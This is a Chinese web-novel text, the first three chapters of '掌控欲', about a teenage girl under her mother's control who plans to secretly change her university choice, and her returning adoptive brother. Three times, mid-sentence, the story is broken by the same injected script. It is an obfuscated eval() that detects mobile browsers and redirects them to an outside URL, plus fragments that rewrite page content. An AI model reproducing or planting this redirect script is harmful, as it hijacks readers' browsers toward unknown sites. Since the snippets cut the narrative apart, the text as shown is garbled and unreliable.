《掌控欲》 1. 第 1 章 江城,榕华区依山傍水的位置坐落着一幢宏伟壮丽的私人庄园。浓稠夜幕下,欧式风格主楼灯火通明,宛如白昼。 一楼餐厅。 钟卿悦放下筷子,“我吃好了,你们慢吃。” “等等。”钟妈制止住她离席的动作,狭长上挑的双眸扫过桌面,“把牛奶喝了。” 钟卿悦面无表情,行尸走肉般拿起杯子,屏气一股脑灌下去。奶腥味在口腔蔓延开来,呼吸间都是令人作呕的气味。她捂嘴遏制住胃里的翻江倒海,迅速接过保姆递来的蜂蜜水,大口喝下才勉强冲散。 用纸巾擦干嘴边的水痕,钟卿悦不耐烦问道:“可以走了吗?” 钟妈面色一沉,开口便要说教。 钟爸眼疾手快抓住她的手腕,轻哄地拍了拍,制止她开口。 她不悦地睨了钟爸一眼,没再多言,“七点练琴,两个小时,别偷懒。” 钟卿悦懒得应声,漠然转身离开餐厅。 刚走到客厅楼梯口,就见管家袁姨行色匆匆往餐厅走。 她好奇地停下步子,就听袁姨声音从餐厅传来,“先生,太太,少爷回来了!” 钟卿悦微愣,再抬眸,一个颀长挺拔的身影映入眼帘。 男人穿着简单的白色衬衫,从容站在玄关处,手搭在随身行李箱上,随意自然,丝毫不见风尘仆仆的狼狈。 视线在空中交汇,男人的面容和记忆中少年的脸重合,陌生又熟悉。 “哥哥?”她恍惚喊完,又不可置信地揉揉眼睛。 他薄唇轻启,淡淡开口,像松树上压着的积雪落地,清脆细碎,“不认识了?” 她张了张嘴,话在唇边,欲言又止。 眼前的人褪去少年时期的青涩脸庞,五官轮廓更显立体,深刻的眉下,一双眸子幽深宛如经年古井,透出沉重晦暗的底色,陌生到让她望而却步。 “你……” 她想问他怎么才回来,不是说很快的吗?又想说你还回来干嘛,都十一年了。 话在心底建立又推翻,终是沉默无言。 “昱宁。”钟爸浑厚热情的声音从身后传来,打破两人间微妙的氛围。 “爸,妈。”他颔首打招呼,礼貌尊敬。 钟爸:“怎么突然回来了,不是说还要再过段时间?” “处理好就提前回来了。” 钟卿悦在一旁听着,原来他早就计划回来了,她竟然都不知道。 钟妈:“这孩子,提前回来也不说一声。” 他默默应下带着宠溺的埋怨,视线则越过空间中的一切,再次落在钟卿悦脸上。只是刹那,沉静的双眸便又转开。 “爸,妈,给你们带了礼物。” 他手里提着三个不同大小的礼品袋,从颜色上就能区分礼物的主人。 钟卿悦抠着手瞧着,黑色红色是爸妈的,那蓝色就是她的。 钟妈:“昱宁有心了,什么时候都惦记着我们。” 他提着仅剩的蓝色礼品袋走到钟卿悦面前,抬手递上。 他的手修长瘦削,骨节分明,手背凸起的血管泛着淡青色,完全是成熟男性的手。 她晃神接过,微凉如水的指尖碰上他温暖干燥的手掌,陌生的触感转身即逝,像梦境般遥远虚无。 她不自然地偏头,语气却强硬得很,“你怎么舍得回来了。” 他敛眸,沉默不语。 她冷哼一声,不理他。 “你哥哥也是迫不得已。”钟爸开口解围,“昱宁还没吃饭吧?袁姐,再加两个菜。” “谁让他说谎了。”钟卿悦低头小声嘀咕着。 谢昱宁没听清她的叽里呱啦,“嗯?” “没什么!”她抬头坚定回应。 “行了行了,让你哥吃饭了。”钟妈招呼着谢昱宁。 “你们吃吧,我吃饱了,我回房间了。” 说罢,她折返往楼上跑去。 转过旋转楼梯,到了二楼,她才慢下步子。 扯开礼品袋一角,熟悉的黄色海绵块映入眼帘。她小心翼翼拆开礼物盒,里面是一个水杯,粉色杯身上雕刻着立体的海绵宝宝,咧嘴笑得正开心。 她盯着杯子出神,思绪回到六岁时。 那时她沉迷海绵宝宝动画,钟爸买来海绵宝宝和派大星的气球哄她开心。她把它们系到花园的秋千上,一边荡秋千,一边看它们随风飘扬。 然而刚学会系扣的她并没有系紧,荡了一会儿,海绵宝宝气球便随风升空,迅速飘远。 她着急起身去追,眼看它越飘越远,下一秒,风向一转,它恰好卡在了高耸的玉兰树枝丫上。 眼泪在眼眶里打转,她用手背抹着去找树荫下看书的谢昱宁,“哥哥,海绵宝宝…上树了。” 谢昱宁随着她手指看去,坠满淡粉色花瓣的枝丫间,黄色气球格外显眼。很高,不是触手可及的位置。 他沉默着环视一周,最终说道:“你坐到我肩膀上。” 14岁的他个子已然很高,钟卿悦坐到他肩膀上些紧张,双手抓着他的耳朵,声音颤颤巍巍,“哥…哥,好高。” “害怕?” 她点了点头,又立刻勇敢摇头,“不怕。” “那松开一只手,去拽绳子。” 她哆嗦着依言照做,绳子近在眼前,微微一伸手便拽了下来。 徐徐的春风拂过,脸颊的泪痕清凉紧绷,她唇边梨涡渐深,似盛满蜜糖的容器。 她仰头看气球,又看湛蓝的天空,粲然一笑。 “哥哥,海绵宝宝和派大星去捉水母时,派大星也总是举起海绵宝宝。” “嗯。” 时隔经年,谢昱宁的回应好像穿过时空回到她耳畔。 她握紧手里的水杯,不由得弯了嘴角,看在他记得的份上,就大发慈悲原谅他了。 — 深夜凌晨,钟卿悦伸个懒腰,关掉平板上的《高考录取进程表》。 今天傍晚高考成绩发布,她超常发挥,拿到比模考时还要高的成绩。 得知分数的那一刻,钟妈就已经规划好她的未来——报考江城大学经济学专业,毕业出国留学,回来后实习,最后继承家业。 她要走这条路吗? 当然不。 她已经密谋了天衣无缝的计划,逃离江城,脱离掌控。 桌上的平板发出微弱震动,拉回她的思绪。 好友孟辰薇发来消息: [悦悦,我刚忙完,才看到你发的消息。] [我考了649分,可以报海华大学!!太激动了!!!] [你呢?你成绩怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501528|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样?] 她读完,松了一口气。 [我超常发挥,688。] [偷偷告诉你,我要报故南大学。] 消息发出,孟辰薇半天未读,不知道又去忙什么了。 钟卿悦放下平板,顺手去拿水杯喝水,轻飘飘的,低头一看,杯里空空如也,只剩杯底一点水渍。 她穿上鞋准备下楼倒水,余光却瞥到书桌角落放着的礼品盒,鬼使神差地走上前拿出里面的海绵宝宝水杯。 犹豫一瞬,把旧杯子放回桌上,拿着新杯子下楼。 夜深,万籁俱寂,客厅亮着昏黄的夜灯,手机屏幕微弱的光线照亮地面。 厨房餐厅那边一片漆黑,她摸索着打开灯,清洗水杯。 洗干净,用毛巾擦拭到没有水滴,才拿起水壶往里倒水。 眼见水流到达MAX线,手边的手机忽然响起震天的铃声。 她被吓得一哆嗦,水壶碰到水杯,咚的一声倒在台面上,水如江河海流般奔腾。 夜深人静,响彻的铃声如催命符。 她顾不得歪倒的水杯和肆意流淌的水,慌忙按下接听键,“喂,微微,怎么了?” “悦悦,我给你发消息你怎么不回?”孟辰薇情绪激动,自顾自继续说道,“你怎么要报故南大学?你妈妈同意了吗?” 一连串问题抛出,钟卿悦脑子发蒙,思绪还沉在刚刚水杯歪倒的时候。 “你怎么不说话呀?”孟辰薇着急道。 她回过神,“没,我走神了。”她压低声音,抽出纸巾去擦桌面,“我手机没登钉钉,没收到消息。” “故南大学是我想报的,我妈妈不知道,也不会同意,她想让我报江城大学。你知道的,继续在江城呆下去我会疯的。” “嗯……”孟辰薇心知肚明,“也是。故南大学也很好,跟江城大学平起平坐,而且离海华大学也近,我们还能经常见面,互相照应。但是…你怎么说服你妈妈?” “没打算说服,我要偷偷改志愿。” “什么?!”孟辰薇大惊失色,直接飚高一个音量,“你疯了?!你妈妈知道会打断你腿的!” 钟卿悦调低音量,又去抽纸巾,撒得水实在太多了,都顺着柜子流到地上了。 “木已成舟,她打断我的腿也无济于事。” 孟辰薇哑口无言,隔了半晌才坚定说道:“好!我支持你,打断腿我照顾你!” 钟卿悦笑了,“那到时候麻烦你搀着我去故南大学报到了。” 挂断电话,水也擦得差不多了,她握着湿漉的一团纸巾,转身扔到身后的垃圾桶。 忽然,她打个冷战,后背一麻,从脊柱到头皮、四肢,像细密的电流四处流窜,激起一阵鸡皮疙瘩。 有人在看她……? 她被突如其来的想法惊到。夜深人静,厨房空空荡荡,哪有第二个人? 她僵在原地不敢动,不自觉捏紧手机,缓慢回身去找。 光线交织的昏暗区域,一个黑影站在那儿,影影绰绰,看不真切。 那是人吗? 她下意识后退一步,身体紧紧贴着冰箱,目光一瞬不瞬地盯着。 紧接着,黑影动了,她心脏猛地一抽。 下一秒,棱角分明的面容显现在光下——谢昱宁。 2. 第 2 章 谢昱宁穿着黑色真丝暗花睡衣,发梢带着水意,略显凌乱的散在额前,遮住冷冽的眉眼。 如此模样,隐在暗处根本不显眼。 惊吓过后的无力感席卷全身,钟卿悦捂住怦怦狂跳的心脏,手脚发软,冷汗漫延。 他什么时候站在那儿的?她打电话时?她洒水时? 她怎么能没看到他?! 谢昱宁慢条斯理走进厨房,钟卿悦谨慎地盯着他的行动轨迹,试探开口,“哥?” “嗯?”谢昱宁清冷的声线波澜不兴。 钟卿悦拍拍胸口,他再不说话她都要认为自己出现幻觉了。 “你什么时候站那儿的?” “刚才。” “……那你怎么不说话?” “你在打电话,我刚要走。” 他不慌不忙将水杯放在岛台上,拿起水壶往里添水。 他的水杯,钟卿悦愣了一瞬,蓝色杯身上凸起的派大星张开双臂,笑得开怀。跟她的水杯是一套。 “你是派大星的水杯。” 他掀了掀眼皮,视线落在岛台一侧的海绵宝宝水杯,“配套商品,不单独售卖。” “哦。”她不以为意,端起自己的水杯端详一阵,“水杯还要捆绑销售?难道因为派大星没有海绵宝宝好卖?” 他水杯满了,他敛眸放下水壶,问道:“高考出成绩了?” 他话题转的好快,但她还是乖巧回应,“出了。” “嗯。”他抬眸,目光沉沉地望着她,“出国的事,抱歉。” 钟卿悦半晌才反应过来他在说什么。 “哦,没事,我已经原谅你了。” “早点休息。”他没再多言,端着派大星水杯离开。 钟卿悦也准备回房间,关上厨房灯,再次陷入昏暗的环境,手里的水杯沉重,海绵宝宝的眼睛一如既往的闪亮。 等等,不对! 谢昱宁怎么知道高考出成绩了? 再往前推,他说她在打电话。 一股不祥的预感油然而生。 钟卿悦冲回卧室,立刻给孟辰薇打去电话,“救命,我哥好像听到我们打电话了。” 孟辰薇茫然的声音透过听筒传出,“啊?你有哥?” 钟卿悦噎了一口,她确实没跟孟辰薇提过。谢昱宁出国多年,身份又特殊。 “这不是重点!重点是我的计划可能泄露了!!” 孟辰薇:“修改志愿的事吗?应该没事吧,难不成他会告诉你妈妈?” “我……”钟卿悦不敢想象那个画面。 “我不知道,我不确定,我不敢赌。这件事太重要了,一旦走漏风声就彻底完了。” 即便谢昱宁无心告状,但闲聊起来说漏嘴也未可知。 孟辰薇:“那可是你哥,你妈妈管着你肯定也管着他吧,他不应该跟你统一战线反抗霸权统治吗?” “不。”钟卿悦回忆起钟妈和谢昱宁说话时和颜悦色的模样,“我妈对他格外宽容。” “那怎么办?”孟辰薇思忖片刻,“你去讨好一下你哥吧,求求他。” 钟卿悦心如死灰,“怎么求?” “装可怜,送零食,我弟每次闯祸都买好吃的讨好我。还有那次他说去找同学写作业,结果被我在游戏厅碰到,他为了不让我告状,把零花钱全都给我了。” “你的意思是我给我哥点封口费?” “不是不是,我要我弟的零花钱是为了让他没钱去游戏厅。你可以看看你哥喜欢什么,买点送给他。或者当一当忠实的小仆人,他喝水你给他倒,他吃饭你给他盛,剥个虾,切个水果什么的。等时机成熟,再装可怜求他别告状。” 钟卿悦吞了下口水,孟辰薇说得易如反掌,可她却头皮发麻。 换做小时候这些她信手拈来,如今…… 十几年没见,她不知道从哪儿下手啊! 挂断电话,她望着天花板重重叹口气。 算了,先不想了,明天还要早起去学校。 “小饼干。”她对着空荡荡的房间喊了一声。 远处书桌上小巧的长方体亮起微弱蓝光,顶端的电子屏幕一闪,一双圆溜溜的黑色虚拟眼睛显现,呆萌机械的声音回道:“你好,多次拒绝过敏乐队主唱的当代肖邦。” “定明天早上七点的闹钟。” “好的。” “关灯。” 小饼干:“好的,晚安。” 一室黑暗,寂然无声。 — 翌日,钟卿悦一早赶到学校,今天学校统一组织志愿填报模拟演练。 班主任专门演示了志愿填报的方法,详细讲解了志愿辅助系统,可以预填志愿表,导出储存,等正式填报志愿时直接导入即可。 她听得认真,一步一步详细记在笔记本上。 志愿填报为期五天,她计划前面先填江城大学,钟妈看到也不会说什么。等到最后一天快截止时,她再把事先预填的志愿表导入,替换成故南大学。 孟辰薇提醒她,“你要尽快搞定你哥。” 她应了声,硬着头皮把讨好计划提上日程。 从学校回到家,刚进门就看到客厅乱糟糟的,健身器材、羽毛球球网、储物箱等等,散落一室。 袁姨正指挥着几个保姆收拾残局,见她回来,忙招呼她往楼上去,“小姐,客厅乱,您先回卧室,等午饭时间再下来吧。” “这是在忙什么,袁姨。” “先生让打扫负一层的羽毛球馆,开始的有点晚了,到现在还没忙完。” 羽毛球馆? 钟卿悦点点头,抬步往楼上走,只走了几层台阶,她忽然想到——负一之前不是羽毛球馆。 最早负一层是钟爸装修的健身房,后来谢昱宁来到家里,钟爸得知他喜欢羽毛球,连夜将健身房爆改羽毛球馆。 她豁然开朗,不是要讨好他,可以从兴趣爱好下手。 事不宜迟,她回到卧室便展开搜索:最好的羽毛球拍有哪些? 跳转的界面有各种不同品牌,她一眼锁定TOP1——非索X5虎年限定系列。 漆黑的拍框,握柄处是暗红色,还印着霸气的虎头图样。 她不了解羽毛球拍,看不懂材质介绍,但网上好评一片,以及特别介绍里提到的:球拍T区镶嵌3颗一克拉钻石。 嗯,很高级,就它了! 从官网找到型号,右下角悬挂着价格——129999。 她默默打开手机银行,看着今年存得压岁钱,刚刚够买下的。 她咬咬牙,下单! — 下午,品牌店就送货上门了。 看着手里的黑色礼盒,不算重,但精致有质感,送得出手! 一切准备就绪,就等主角登场。 钟卿悦从下午等到晚上,从晚上等到凌晨,盼星星盼月亮,终于在零点一刻看到谢昱宁的车开进庄园。 她提上礼盒,谨记孟辰薇的教导,不要目的性太强,先试探。 她也不敢直接开口求他,怕他压根没听到她的计划,她一说就自爆了。迂回着旁敲侧击最为稳妥。 心思落定,她提着礼盒出门。 两人的卧室都在三楼,她的房间在西边,谢昱宁的房间在东边。走廊光线昏暗,只有壁灯亮着柔和的幽光。 走到谢昱宁门口,她莫名有些紧张,手心汗津津的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501529|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她深吸一口气,摒弃杂念,叩响门板,“哥哥。” 沉闷微弱的敲击声回荡,没有回应。 沉了片刻,她再次抬手,还未碰到门板,门忽然从里面打开了。 谢昱宁刚洗完澡,身上穿着睡衣,手里拿着毛巾,发梢还在无规律地往下滴水,落在锁骨位置,而后顺着肌肤没入衣领深处。 “怎么?” 她热情地提起礼盒,“哥,我给你买了新的羽毛球拍。” 谢昱宁微怔,垂眸看向她的手,葱白般纤细修长的指提高了有些费力。 她已经这么大了,小时这双手肉乎乎的,给他递蛋糕时也总是颤颤巍巍。 钟卿悦等了很久也没等到他接过。 他不要吗? 沉默充斥在两人之间。她心跳如擂鼓,胸口发颤,手里的礼盒似有千斤重,坠得手腕生疼。 她不想坐以待毙,上前一把拉住谢昱宁的手臂,强硬塞到他手里,“这是我的回礼,谢谢你给我买水杯。” 谢昱宁垂眸看向手里的礼盒,沉甸甸的。 “好。” 计划通! 她扬起嘴角,笑意嫣然,“不客气,那我回去啦,你早点休息。” 她抬手冲他挥了挥,“拜拜,晚……” 诶,等等。 她忽然蹙起眉,好奇怪,掌心有种清凉又紧绷的感觉。 疑惑地看向抬起的手,指腹泛着微不可察的淡红色,指尖汇拢攥了攥,黏黏的。凑到鼻尖细细一闻,微弱的铁锈气息,像血。 她没干嘛,也没流血,只是刚刚碰了…… 她猛然抬头,“哥,你流血了!” “没有。”谢昱宁几乎是条件反射的否认。 “不可能。”她又闻了一下手,血腥味更加清晰了。 “我带你去医院。” 谢昱宁冷下脸偏开头,“没受伤。” 他退回房间,手搭在门把手上,准备将她拒之门外。 钟卿悦眼疾手快抬手挡住门板,另一只手迅速出击,握住他衣袖一角,顺势往上一扯,缠着纱布的小臂立刻暴露在空气中。 她倒吸一口冷气,洁白的纱布被鲜红的血液洇透,湿哒哒,黏糊糊的,甚是骇人。 谢昱宁连忙将手背到身后,躲开她的注视。 手心一空,钟卿悦回神,“你说谎,明明伤得那么厉害。我带你去医院。” “没事。”他语气冷漠,“我睡了。” 他退到门内,不顾钟卿悦的阻拦,砰的一声关上门。 钟卿悦愣愣站在门口,怎么那么不当回事。 她下楼去找医药箱。 拿了医药箱再回到他房间门口,再次叩响门板,“你不愿去医院就算了,我给你上点药。” 沉默,长久的沉默。 没有回应,也没人开门。 她锲而不舍,再次敲门,“哥哥,伤口需要处理,不然会发炎的。” 话音落,还是没有反应。 “哥——” 她刚开口,门开了。 谢昱宁定定站在门口,周身散发着寒意,眼神冰冷,如贫瘠荒原般沉寂压抑。 她扬扬手里的药箱,尽量让自己看上去和蔼可亲,“我给你涂药。” 他面无表情,冷声道:“回去睡觉。” “我不。”她仰着头瞪他,“你要不是我哥,你流血流死我也不管。” 谢昱宁盯着她,不语也不打算退让。 “你不让我进去,我现在立刻去把爸妈喊起来。” 四目相对,她眼神倔强不肯让步,他眸光深谙,情绪不明。 须臾,他侧身让出门口,“进来。” 3. 第 3 章 屋内,他挽起袖子,再次露出触目惊心的手臂。 钟卿悦小心翼翼解开纱布,一圈一圈,空气中弥散开浓重的血腥味。到最底层时,吸了太多血的纱布变得沉重,解开的瞬间,鲜血淋漓的伤口直冲眼底——皮肉中间划开一道细长的伤口,汩汩冒着鲜血。 她不敢停顿,扔掉纱布,找出止血粉,扣开盖子便往上撒。药粉瞬间吃进伤口,化成稠状的液体。 她蹙起眉,抬头去看他,他垂着眼没什么表情,不疼吗? 她继续撒着,直至伤口表面全部覆盖上厚重的药粉,不见鲜血流出。 “你要不要去医院打破伤风?”钟卿悦试探问道。 虽然他没说,但感觉伤口很像划伤。 等了几秒,他没接话,应该是拒绝的意思。 她没再多言,生怕他再将她赶出去。 拿出干净纱布围着他的手臂缠绕,直至透不出伤口才剪断纱布,用医用胶带粘住接口。 “不要沾水,会感染。” “如果再出血一定要告诉我。” “还是建议你去打破伤风,不要不当回事。” 钟卿悦自顾自说完,没期待他会回话。 结果下一秒,头顶传来淡淡的回应,“知道了。” 还不算油盐不进。 钟卿悦放下纱布,拿出酒精跟棉签,“我帮你擦一下周围的血迹,如果扯到伤口你就说。” 吸满酒精的棉签轻柔擦过干涸的血痕,羽毛轻抚般柔软。 谢昱宁悄然抬眸看向她,她精致的眉眼低垂着,长而卷的睫毛随着动作轻颤,几缕不听话的发丝落下,纠缠着绯色的耳廓。 她似乎还像小时候一样,剖出心来待他。 望着她出神,他回想起今晚的事情。 回国仅两天,谢家就已经按捺不住,不遗余力制造今晚的车祸。 后排玻璃破碎,划开他的皮肤,鲜血停滞一瞬后缓缓流出。 他回想起父母离世的那场车祸,比这严重。 母亲脖颈处的破口怎么也堵不住,洇湿他的衣袖,洇湿柏油马路。 大片暗红色笼罩他的世界,看向哪里都是鲜血淋漓。 他听到母亲变得嘶哑的声线,不断喊着他的名字。 他想向父亲求救,看到的却是血肉模糊的身躯。 他闭上眼,眼前仍旧是挥之不去的画面。 钟卿悦感受到他轻微的颤抖,立刻停下动作,“扯到伤口了吗?” 他缓缓睁开眼,眸色沉得厉害,“没有。” “哦,我慢一点。”她的动作变得更加轻柔。 谢昱宁目光落在她的指尖,修剪干净的甲床泛着浅淡的肉粉色,纯净,不染纤尘。 这一幕好似回到少年时那段至暗的时光,她的靠近,亦如幼时一样。 “哥哥。” 钟卿悦沉吟的轻唤打断他的思绪,“怎么?” 她垂着眼皮,“昨天晚上我在厨房跟朋友打电话来着。” “嗯?”谢昱宁不解地皱起眉,好像听不懂她在说什么。 下一秒,他忽而了然,“嗯,打电话,怎么了?” 钟卿悦心口一缩,他果然是听到了。 “当时我手机铃声太响了,是不是吵到你们了?” 谢昱宁淡淡开口,“没,我只是恰好下楼,没听到你手机响。” “那就好。” 钟卿悦凝视着棉签,若有所思。既然没听到铃声,那是不是说明他来得比较晚呢? 话题终止,手臂的血痕也擦净,她收拾好医药箱离开了谢昱宁房间。 — 翌日,志愿填报系统正式开放。 如她所料,填报志愿时钟妈陪同一起。 她按照计划,在第一志愿里填上江城大学经济学专业,又听从钟妈安排备选填了江城大学的工商管理和金融学。 风平浪静,母慈子孝,可见她的计划并未泄露。 但志愿填报为期五天,她得确保五天之内不出岔子。 讨好之余,她又想到另一个办法——守着谢昱宁。 一定不可以让他单独和父母聊天,很有可能说着说着就谈到她高考的事情上。 往常她吃完晚饭,喝下恶心的牛奶后都是愤愤离席。而今天,她一反常态,照旧坐在餐桌上陪同。 她异常的行为引起钟妈的猜疑,“你还没吃饱?” 她头摇得像拨浪鼓,“没,吃饱了。只是我听你们聊种花的事情觉得很有意思,想听一会儿。” “这丫头从小就喜欢花花草草。小时候天天雷打不动的去花园浇花,夏天晒得像煤球。”钟爸调笑道。 钟卿悦忙点头,眉眼弯成月牙,笑眯眯地附和,“花园里多香啊,谁不喜欢。” 她虽然在说话,但余光一直关注谢昱宁的动向。 谢昱宁端起空了的碗,准备添饭。 她雷达闪动,察觉到需要她登场了,立刻起身拿起饭勺,“哥,我给你盛。” 谢昱宁蹙眉,“不用。” 她置若罔闻,自然地拿过他手里的饭碗,“你吃多还是少?” 三人都瞪着眼睛看她,她的行为和往常实在是大相径庭。 片刻后,谢昱宁默默开口,“少。” 半勺米饭被投进他的碗中,“ok。” “悦儿,你不舒服吗?”钟爸悄然打量着她。 钟卿悦眨眨眼,“没有啊,我很好。爸,你要再添一碗吗?” 钟爸一头雾水,看看自己还剩一小口的饭碗,试探道:“要不给我也少添点……?” 钟卿悦立刻接过,“好啊。” 钟爸:“悦儿,你是不是……” 想要什么? 后半段还没说出来,钟妈一记目光甩来,示意他话太多,他立刻缄默不语。 一顿饭结束,钟卿悦没再找到机会“服务”谢昱宁,有些可惜。 到了凌晨,她打游戏打到肚子饿,下楼觅食。 冰箱里空空荡荡,除了牛奶只剩水果,她厌恶地瞪了一眼牛奶,转头抱起小西瓜和蓝莓盒。 西瓜洗净削了皮,切成规规矩矩的小方块,盛进白瓷盘后,她脑海忽然浮现孟辰薇的嘱咐。 于是她把剩下的一半盛进新的盘子里,又将洗干净的蓝莓均匀撒在上面。 端着水果盘到了谢昱宁门口。 敲响房门,等了片刻,门打开了。 谢昱宁发丝凌乱,睡眼惺忪,神情有些困倦,和平日淡漠疏离的模样大相径庭。 她眨巴眨巴眼睛,“啊…对不起,哥,我不知道你睡了。” “嗯。”他应了声,鼻音有些重,听上去暗哑沉闷。 他视线落在她手中的盘子上,问道:“怎么?” “给你切了水果。” “我不吃。” 她忙点头,“嗯嗯嗯,你快休息吧,晚安。” 她端着盘子转身,幽幽叹口气,这次“服务”失败了呀。 “等等。”闷闷的声线从身后传来。 钟卿悦茫然回身,在她疑惑、不解的目光下,谢昱宁拿起顶端的一粒蓝莓放进口中。 钟卿悦惊讶地瞪着他,半天才缓过神,“你…记得再刷牙。” 谢昱宁蹙眉,偏开头,“嗯。” — 谢昱宁吃蓝莓的事情给了钟卿悦灵感,自那天起,只要她吃水果,必洗一份蓝莓给谢昱宁。 有时她洗了水果刚出餐厅就碰到谢昱宁进门,她能立刻冲上前将自己手里的水果盘递上。 在谢昱宁百思不得其解的目光下,她开心离去。 持续到报考志愿第三天。 周六,家里人员齐全,是一场硬仗。 一大早,还未等到钟妈喊她起床吃早饭,她已经准时出现在餐厅。 吃过早饭,钟妈临时要去医院开会,钟爸也打着电话去书房,她正松口气,不用盯着谢昱宁了。 刚准备回卧室补觉,钟爸突然从楼上下来。 “昱宁,走啊,咱爷俩去打羽毛球。” 噔噔噔!!! 钟卿悦心中警铃大作,她也要去! 负一羽毛球馆,宽敞明亮的场地铺就着场馆专用防滑地板,两侧新安装了储物柜,黑色磨砂玻璃后隐约透出里面整齐的物品。 “哥,你的新球拍呢?” 小仆人嘛,得自觉。 谢昱宁目光看向左侧的储物柜,“那边。” “我给你拿。”她兴致冲冲地跑过去。 钟爸正在远处翻找自己的旧球拍,听到有新的,立刻扔下往这边走,“新球拍?什么新球拍?” 钟卿悦骄傲地扬扬下巴,“我买给我哥的。” “哟,不错啊。”钟爸眼睛一亮,赞赏地上下打量着她,“还知道给你哥买礼物,真是长大了。” 钟爸兴致高昂,“打开我看看。” 盖子打开,精致的球拍映入眼帘,T区三颗钻石闪闪发光,上方卡着纯金铭牌,篆刻着“谢昱宁”三个字,彰显球拍独一无二的主人。 “这么帅。”钟爸摸了摸中杆上的数值,“嗯,中杆够硬,适合你哥。” “悦儿,给你老爸我也买一个,就你哥这种的。” 钟卿悦嘴角抽了抽,一个球拍就已经让她穷困潦倒,哪里还买得起第二个。 “不不不,我拒绝。” “这么小气。”钟爸眼珠一转,“要不咱俩打赌?” 钟卿悦警惕地盯着他,莫名其妙,肯定有诈。 “赌什么?” 钟爸一抬下巴,“我赢了你给我买球拍,你哥赢了我给你双倍球拍钱。” 钟卿悦不语,指骨抵着下巴思索着,赌注很诱人诶,双倍那就是二十四万啊! 她偏头看向谢昱宁,后者似乎不以为意,正在拉伸胳膊热身。 “你等等,我考虑一下。” 她大步走向谢昱宁,拉住他胳膊往远处走。 躲开钟爸偷听的范围内,她才压低声音问道:“哥哥,你赢下他,拿到钱我分你一半。” 谢昱宁平静地活动着手腕,没接话。 钟爸在远处高声催促,“好了没,我压制不住洪荒之力了。” 钟卿悦背着身摆摆手,别打扰她。 “这样,我们四六分,你六,我四。” 沉默片刻,谢昱宁还是没说话。 她拽拽他袖子,“哥,你行不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501530|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 谢昱宁眯起眼,眸色沉沉地盯着她。 她转战思路,开始溜须拍马,“我觉得你行,你比爸厉害多了,身体素质好,年轻反应也快,你赢他不在话下,动动手指的事儿。” “而且你懂得尊重对手,比赛嘛……” 她还没说完,谢昱宁一挑眉,“好。” 答应了! 她唇角扬起,梨涡深深,“加油,哥!你是最棒的,就靠你了,我相信你。” 他不动声色地转开目光,平静应声,“知道了。” “哦,不对。”她慌忙抓住他衣摆,“你伤口……” “在左手,不碍事。” 钟卿悦:“那加油!” 比赛正式开始。 谢昱宁先发球,只见他抛起手中羽毛球,挥拍,如离弦之箭,破风而出。 球速极快,钟爸不慌不忙后退,手臂一挥,球在空中划出一道抛物线,稳稳飞回谢昱宁方向。 谢昱宁目光盯着球,身体却一动不动。 眼看球就要落地,钟卿悦急得挠头,他怎么一开场就走神了! 下一秒,他身形一动,倾身挥拍挑起,将临近落地的羽毛球打了回去。 钟爸一时晃神,再想去接为时已晚。 “嘭”的一声,球应声落地。 “哎呀,大意了。”钟爸一拍大腿,捡起羽毛球,“我认真了。” 他抛起球,挥拍向前,球在空中飞速行进,朝着谢昱宁飞去。后者游刃有余,顺势回击,球再次飞起。 场馆内安静无比,只有球拍击球的“嘭嘭”声规律响起。 钟卿悦屏气凝神,视线紧紧追随。 只见扣杀球以极快速度飞回谢昱宁半场,他不慌不忙,目光紧紧凝视着,在球到达可控范围后,以迅雷不及掩耳之势迅速反击,球再次飞回。 钟爸有所意识,从容应对,挑高回以远球。 谢昱宁眼睛微眯,似是正等待这样的回击。 球飞到最高点,他屈膝起跳,如蓄势待发的猛兽扑向猎物。球拍如利刃划破空气,以惊人的速度向前挥动,羽毛球撞上球拍,速度再次提升,眨眼间已飞过球网,抵达钟爸半场。 面对势大力沉的扣杀,钟爸有些慌神,急忙挥拍抵挡,然而球速太快,已经超出应对范围。最终,羽毛球重重砸到边线,谢昱宁又拿下一分。 钟卿悦看得入神,忍不住起身高呼:“哇!哥,好厉害,太棒了!!” 谢昱宁看向她,又默默转开视线,唇角不自觉微微勾起。 一来一回间,两人比分紧咬,谁也不让谁。 一小时后,谢昱宁以二比一的成绩险胜比赛。 钟卿悦雀跃地冲到钟爸身边,抬手搂住他肩膀,“老钟同志,钱打我卡里哦。” 钟爸气喘吁吁地冷哼一声,“给我也买球拍,就是兵器不趁手导致我输了。” “好好好,那你可得多给我点钱,我已经弹尽粮绝了。” “知道了知道了,我走了,给我累够呛,下次可不跟你赌了,输了宅子又输地。” 